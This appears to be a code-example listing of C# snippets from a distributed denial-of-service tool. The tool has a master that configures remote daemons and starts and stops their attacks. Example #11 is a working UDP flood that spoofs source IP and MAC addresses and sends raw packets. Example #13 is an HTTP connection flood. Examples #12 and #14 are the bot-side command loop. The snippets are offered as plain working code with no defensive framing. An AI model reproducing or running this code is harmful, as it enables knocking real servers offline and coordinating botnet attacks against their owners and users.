Example #1
0
 /// <summary>
 /// Инициализирует параетры атаки
 /// </summary>
 /// <param name="Params">Параметры</param>
 public void InitParams(AttackParams Params)
 {
     if (state != ControllerState.Error)
     {
         UpdateData("Applying Parameters");
         if (state == ControllerState.Attacking)
         {
             Stop();
         }
         state = ControllerState.Tuning;
         if (Core != null)
         {
             Core.Params  = Params;
             Core.Adapter = Adapter;
             Core.ResetCounters();
         }
         else
         {
             Core = new AttackController(Params, Adapter, CoreErrorHandler);
         }
         if (mode)
         {
             state = ControllerState.Suspending;
         }
     }
 }
Example #2
0
 public void InitParams(AttackParams Params) // change that crap to point!!
 {
     if (state != ControllerState.Error)
     {
         UpdateData("Применение параметров");
         if (state == ControllerState.Attacking)
         {
             Stop();
         }
         state = ControllerState.Tuning;
         if (Core != null)
         {
             Core.Params  = Params;
             Core.Adapter = Adapter;
             Core.ResetCounters();
         }
         else
         {
             Core = new AttackController(Params, Adapter, CoreErrorHandler);
         }
         if (mode)
         {
             state = ControllerState.Suspending;
         }
     }
 }
Example #3
0
 public AttackController(AttackParams Params, NetworkInterface Adapter, ErrorCallBack Errorhandler)
 {
     this.Params       = Params;
     this.Adapter      = Adapter;
     HttpGenerator     = new Thread(new ParameterizedThreadStart(processHttpFlood));
     UdpGenerator      = new Thread(new ParameterizedThreadStart(processUdpFlood));
     this.ErrorHandler = Errorhandler;
     Attacking         = false;
 }
Example #4
0
 private void FillPreviousSettings(AttackParams Params, int cur_port)
 {
     TargetAddressBox.Text         = Params.Target.Address.ToString();
     HttpSetsCheckBox.Checked      = Params.HttpFloodEnabled;
     FloodEnablingCheckBox.Checked = Params.UdpFloodEnabled;
     HttpContentBox.Text           = Params.HttpMsg;
     RestStartBox.Text             = Params.RestrictedPool[0].ToString();
     RestEndBox.Text = Params.RestrictedPool[1].ToString();
     portBox.Value   = cur_port;
 }
Example #5
0
 private void SetSettings(AttackParams Params, System.Net.NetworkInformation.NetworkInterface Adapter, int altport, IPEndPoint NewMasterPoint)
 {
     LogBox.Text = "";
     Controller.InitInterface(Adapter, altport, NewMasterPoint);
     Controller.InitParams(Params);
     if (Controller.mode)
     {
         ChangeMode(true);
     }
     else
     {
         ChangeMode(false);
     }
 }
Example #6
0
 public NetworkController(AttackParams Params, NetworkInterface Adapter, CallBackFunct MessageCallBack, StatisticCallBack StatRespond, ErrorCallBack LostCOnnectionHandler, int alt_port, IPEndPoint MasterPoint) //master mode only
 {
     UpdateData = MessageCallBack;
     this.ProccessStatisticRespond = StatRespond;
     this.ExErrorHandler           = LostCOnnectionHandler;
     //Daemons = new DaemonList();
     Daemons = new DaemonPool();
     state   = ControllerState.Tuning;
     try
     {
         InitInterface(Adapter, alt_port, MasterPoint);
         InitParams(Params);
     }
     catch (Exception)
     {
         state = ControllerState.Error;
     }
 }
Example #7
0
        private void SetParamnBtn_Click(object sender, EventArgs e)
        {
            int port = Convert.ToInt32(portBox.Value);

            try
            {
                IPAddress TargAddress = IPAddress.Parse(TargetAddressBox.Text);
                if (RoleCheckBox.Checked)
                {
                    IPEndPoint   Target = new IPEndPoint(TargAddress, 80);
                    AttackParams Params = new AttackParams();
                    Params.Target = Target;
                    if (HttpSetsCheckBox.Checked)
                    {
                        Params.HttpMsg          = HttpContentBox.Text;
                        Params.HttpFloodEnabled = true;
                    }
                    else
                    {
                        Params.HttpMsg          = "";
                        Params.HttpFloodEnabled = false;
                    }
                    if (FloodEnablingCheckBox.Checked)
                    {
                        Params.UdpFloodEnabled = true;
                        Params.RestrictedPool  = new NetworkInstruments.AddressPool(IPAddress.Parse(RestStartBox.Text), IPAddress.Parse(RestEndBox.Text));
                    }
                    else
                    {
                        Params.UdpFloodEnabled = false;
                    }
                    SetSettings(Params, Adapters[AdapterBox.SelectedIndex], port, null);
                }
                else
                {
                    SetSettings(new AttackParams(), Adapters[AdapterBox.SelectedIndex], port, new IPEndPoint(IPAddress.Parse(MasterIpBox.Text), Convert.ToUInt16(MasterPortBox.Value)));
                }
                this.Close();
            }
            catch (Exception)
            {
                MessageBox.Show("Введенные данные некорректны", "Ошибка", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
Example #8
0
        public static AttackParams parseFromArray(byte[] ParamsArray)
        {
            AttackParams Params = new AttackParams();

            byte[] Targip = new byte[4];
            byte[] rest1  = new byte[4];
            byte[] rest2  = new byte[4];
            Array.Copy(ParamsArray, 0, Targip, 0, 4);
            Array.Copy(ParamsArray, 8, rest1, 0, 4);
            Array.Copy(ParamsArray, 12, rest2, 0, 4);
            Params.Target           = new IPEndPoint(new IPAddress(Targip), BitConverter.ToUInt16(ParamsArray, 4));
            Params.HttpFloodEnabled = Convert.ToBoolean(ParamsArray[6]);
            Params.UdpFloodEnabled  = Convert.ToBoolean(ParamsArray[7]);
            Params.RestrictedPool   = new NetworkInstruments.AddressPool(new IPAddress(new byte[] { rest1[0], rest1[1], rest1[2], rest1[3] }), new IPAddress(new byte[] { rest2[0], rest2[1], rest2[2], rest2[3] }));
            byte[] httpmsg = new byte[ParamsArray.Length - 16];
            Array.Copy(ParamsArray, 16, httpmsg, 0, httpmsg.Length);
            Params.HttpMsg = System.Text.Encoding.ASCII.GetString(httpmsg);
            return(Params);
        }
Example #9
0
 public SettingsForm(AttackParams Params, NetworkInterface CurAdapter, int curport, SetSettingsCallBack funct, bool mode, IPEndPoint OldMaster)
 {
     InitializeComponent();
     SetSettings          = funct;
     curAdapter           = CurAdapter;
     CurAdapterLabel.Text = CurAdapter.Name + " - Status: " + CurAdapter.OperationalStatus + " Type:" + CurAdapter.NetworkInterfaceType;
     fillAdapterList();
     FillPreviousSettings(Params, curport);
     RoleCheckBox.Enabled = true;
     if (mode)
     {
         AttackParamsBox.Enabled = true;
         RoleCheckBox.Checked    = true;
         if (Params.UdpFloodEnabled)
         {
             FloodEnablingCheckBox.Checked = true;
             RestPoolsSetBox.Enabled       = true;
         }
         else
         {
             FloodEnablingCheckBox.Checked = false;
             RestPoolsSetBox.Enabled       = false;
         }
         if (Params.HttpFloodEnabled)
         {
             HttpSetsCheckBox.Checked = true;
             HttpsSetsBox.Enabled     = true;
         }
         else
         {
             HttpSetsCheckBox.Checked = false;
             HttpsSetsBox.Enabled     = false;
         }
     }
     else
     {
         RoleCheckBox.Checked    = false;
         AttackParamsBox.Enabled = false;
         MasterIpBox.Text        = OldMaster.Address.ToString();
         MasterPortBox.Value     = OldMaster.Port;
     }
 }
Example #10
0
        public NetworkController(AttackParams Params, NetworkInterface Adapter, CallBackFunct MessageCallBack, StatisticCallBack StatRespond, ChangeModeCallBack ModeChange, ErrorCallBack LostCOnnectionHandler, int alt_port, IPEndPoint MasterPoint) //master mode only
        {
            UpdateData = MessageCallBack;
            this.ProccessStatisticRespond = StatRespond;
            this.ExErrorHandler           = LostCOnnectionHandler;
            this.ChangeMode = ModeChange; //no need, delete
            Daemons         = new DaemonList();
            state           = ControllerState.Tuning;
            try
            {
                InitInterface(Adapter, alt_port, MasterPoint);
                InitParams(Params);
            }
            catch (Exception err)
            {
                state = ControllerState.Error;
            }

            // what if these sockets are occupied?
        }
Example #11
0
        private void processUdpFlood(Object Params)
        {
            AttackParams _params = Params as AttackParams;

            if (_params.UdpFloodEnabled)
            {
                NetworkInstruments.IpRandomizer IpSpoofer = new NetworkInstruments.IpRandomizer();
                PhysicalAddress TargetMac    = NetworkInstruments.ResolveMac(Adapter, _params.Target.Address);
                ICaptureDevice  ActiveDevice = NetworkInstruments.getActiveDevice(Adapter.GetPhysicalAddress());
                ActiveDevice.Open();
                UdpPacket  udpPacket = new UdpPacket(0, 80);
                IPv4Packet ipPacket  = new IPv4Packet(IPAddress.Any, _params.Target.Address);
                ipPacket.Protocol      = IPProtocolType.UDP;
                ipPacket.PayloadPacket = udpPacket;
                if (TargetMac == null)
                {
                    ErrorHandler(1, "Can not get MAC target address");
                    return;
                }
                ;  //unable to resolve mac
                EthernetPacket ethernetPacket = new EthernetPacket(Adapter.GetPhysicalAddress(), TargetMac, EthernetPacketType.None);
                ethernetPacket.PayloadPacket = ipPacket;
                while (Attacking)
                {
                    udpPacket.SourcePort      = (ushort)Randomizer.Next(1, 49160);
                    udpPacket.DestinationPort = (ushort)Randomizer.Next(1, 49160);
                    udpPacket.PayloadData     = new byte[Randomizer.Next(500)];
                    Randomizer.NextBytes(udpPacket.PayloadData);
                    udpPacket.UpdateCalculatedValues();
                    ipPacket.SourceAddress = IpSpoofer.GetNext(ref Randomizer, _params.RestrictedPool);
                    ipPacket.TimeToLive    = Randomizer.Next(20, 128);
                    ipPacket.UpdateCalculatedValues();
                    ipPacket.UpdateIPChecksum();
                    ethernetPacket.SourceHwAddress = NetworkInstruments.GetRandomMac(ref Randomizer);
                    ethernetPacket.UpdateCalculatedValues();
                    udpPacket.UpdateUDPChecksum();
                    ActiveDevice.SendPacket(ethernetPacket);
                    udpCounter++;
                }
            }
        }
Example #12
0
        /// <summary>
        /// ПОддерживает соединение хоста с мастером
        /// </summary>
        /// <param name="Params"></param>
        private void MaintaintHostConnection(Object Params)
        {
            TcpClient Connection = Params as TcpClient;

            try
            {
                Connection.Connect(Master);
                if (state != ControllerState.Suspending)
                {
                    state = ControllerState.Suspending;
                }
                UpdateData("Connection to the wizard is installed");
                Connection.ReceiveBufferSize = 10000;
                Connection.ReceiveTimeout    = 100;
                NetworkStream Stream = Connection.GetStream();
                bool          DataCollected;
                bool          Finished     = false;
                UInt32        oldHttpCount = 0;
                UInt32        oldUdpCount  = 0;
                UInt32        newHttpCount;
                UInt32        newUdpCount;
                while (Connection.Connected && !Finished)
                {
                    DataCollected = false;
                    if (Connection.Available >= 1)
                    {
                        int code = Stream.ReadByte();
                        switch (code)
                        {
                        case (int)MessageCode.Params:
                            while (Connection.Connected && !DataCollected)
                            {
                                if (Connection.Available >= 2)
                                {
                                    byte[] buuf = new byte[2];
                                    Stream.Read(buuf, 0, 2);                                  //df to add length in sendservicemsg
                                    UInt16 len = BitConverter.ToUInt16(buuf, 0);
                                    while (Connection.Connected && !DataCollected)
                                    {
                                        if (Connection.Available >= len)
                                        {
                                            byte[] buffer = new byte[len];
                                            Stream.Read(buffer, 0, len);
                                            InitParams(AttackParams.parseFromArray(buffer));
                                            state         = ControllerState.Suspending;
                                            DataCollected = true;
                                            UpdateData("Received settings from the master");
                                        }
                                    }
                                }
                            }
                            break;

                        case (int)MessageCode.StartAttack:
                            AttackIsAllowed = true;
                            Start(); break;

                        case (int)MessageCode.StopAttack:
                            AttackIsAllowed = false;
                            Stop(); break;

                        case (int)MessageCode.StatisticMessageRequest:
                            List <byte> msgs = new List <byte>();
                            msgs.Add(3);
                            newHttpCount = Core.HttpCounter;
                            newUdpCount  = Core.UdpCounter;
                            msgs.AddRange(BitConverter.GetBytes(newHttpCount - oldHttpCount));
                            msgs.AddRange(BitConverter.GetBytes(newUdpCount - oldUdpCount));
                            oldHttpCount = newHttpCount;
                            oldUdpCount  = newUdpCount;
                            Stream.Write(msgs.ToArray(), 0, msgs.Count);
                            break;

                        case (int)MessageCode.Finish:
                            Finished = true;
                            break;
                        }
                    }
                }
                UpdateData("Connection with the master is broken");
                state = ControllerState.Error;
                Stream.Close();
                HostClient.Close();
            }
            catch (SocketException)
            {
                UpdateData("Unable to connect to master"); //1060 exception
                state = ControllerState.Error;
            }
            catch (ObjectDisposedException)
            {
                return;
            }
        }
Example #13
0
        private void processHttpFlood(Object Params)
        {
            AttackParams _params = Params as AttackParams;

            if (_params.HttpFloodEnabled)
            {
                byte[] buff = new byte[1514];
                byte[] msg  = System.Text.ASCIIEncoding.ASCII.GetBytes(_params.HttpMsg);
                try
                {
                    while (Attacking)
                    {
                        InitClient(ref Client, Adapter);
                        Client.SendBufferSize = msg.Length;
                        Client.Connect(_params.Target);
                        TryConnectAm = 0;
                        NetworkStream TcpStream = Client.GetStream();
                        try
                        {
                            while (Client.Connected && Attacking)
                            {
                                if (TcpStream.DataAvailable)
                                {
                                    TcpStream.Read(buff, 0, 1514);
                                }
                                if (TcpStream.CanWrite)
                                {
                                    TcpStream.Write(msg, 0, msg.Length);
                                    httpCounter++;
                                }
                                Thread.Sleep(80);
                            }
                        }
                        catch (System.IO.IOException)
                        { }
                    }
                    Client.Close();
                }
                catch (SocketException err)
                {
                    if (err.ErrorCode == (int)SocketError.TimedOut) //
                    {
                        Thread.Sleep(4000);                         // wait a bit, let the bitch have some rest
                        if (TryConnectAm == 4)
                        {
                            Attacking = false;
                            ErrorHandler(1, "Unable to connect to goal");
                        }
                        else
                        {
                            TryConnectAm += 1;
                            processHttpFlood(Params);
                        }
                    }
                    if (err.ErrorCode == (int)SocketError.AddressNotAvailable)
                    {
                        Attacking = false;
                        ErrorHandler(0, "The specified address is invalid");
                    }
                }
            }
        }
Example #14
0
        private void MaintaintHostConnection(Object Params)
        {
            TcpClient Connection = Params as TcpClient;

            try
            {
                Connection.Connect(Master);
                if (state != ControllerState.Suspending)
                {
                    state = ControllerState.Suspending;
                }
                UpdateData("Соединение с мастером установлено");
                Connection.ReceiveBufferSize = 10000;
                Connection.ReceiveTimeout    = 100;
                NetworkStream Stream = Connection.GetStream();
                bool          DataCollected;
                UInt32        oldHttpCount = 0;
                UInt32        oldUdpCount  = 0;
                UInt32        newHttpCount;
                UInt32        newUdpCount;
                while (Connection.Connected)
                {
                    DataCollected = false;
                    if (Connection.Available >= 1)
                    {
                        int code = Stream.ReadByte();
                        switch (code)
                        {
                        case 0:
                            while (Connection.Connected && !DataCollected)
                            {
                                if (Connection.Available >= 2)
                                {
                                    byte[] buuf = new byte[2];
                                    Stream.Read(buuf, 0, 2);                                  //df to add length in sendservicemsg
                                    UInt16 len = BitConverter.ToUInt16(buuf, 0);
                                    while (Connection.Connected && !DataCollected)
                                    {
                                        if (Connection.Available >= len)
                                        {
                                            byte[] buffer = new byte[len];
                                            Stream.Read(buffer, 0, len);
                                            InitParams(AttackParams.parseFromArray(buffer));
                                            state         = ControllerState.Suspending;
                                            DataCollected = true;
                                            UpdateData("Получены настройки от мастера");
                                        }
                                    }
                                }
                            }

                            break;

                        case 1:
                            AttackIsAllowed = true;
                            Start(); break;

                        case 2:
                            AttackIsAllowed = false;
                            Stop(); break;

                        case 3:
                            List <byte> msgs = new List <byte>();
                            msgs.Add(3);
                            newHttpCount = Core.HttpCounter;
                            newUdpCount  = Core.UdpCounter;
                            msgs.AddRange(BitConverter.GetBytes(newHttpCount - oldHttpCount));
                            msgs.AddRange(BitConverter.GetBytes(newUdpCount - oldUdpCount));
                            oldHttpCount = newHttpCount;
                            oldUdpCount  = newUdpCount;
                            Stream.Write(msgs.ToArray(), 0, msgs.Count);
                            //stats
                            break;
                        }
                    }
                }
                UpdateData("Соединение с мастером разорвано");
            }
            catch (SocketException err)
            {
                UpdateData("Невозможно подключиться к мастеру"); //1060 exception
                state = ControllerState.Error;
            }
            catch (ObjectDisposedException)
            {
                return;
            }
        }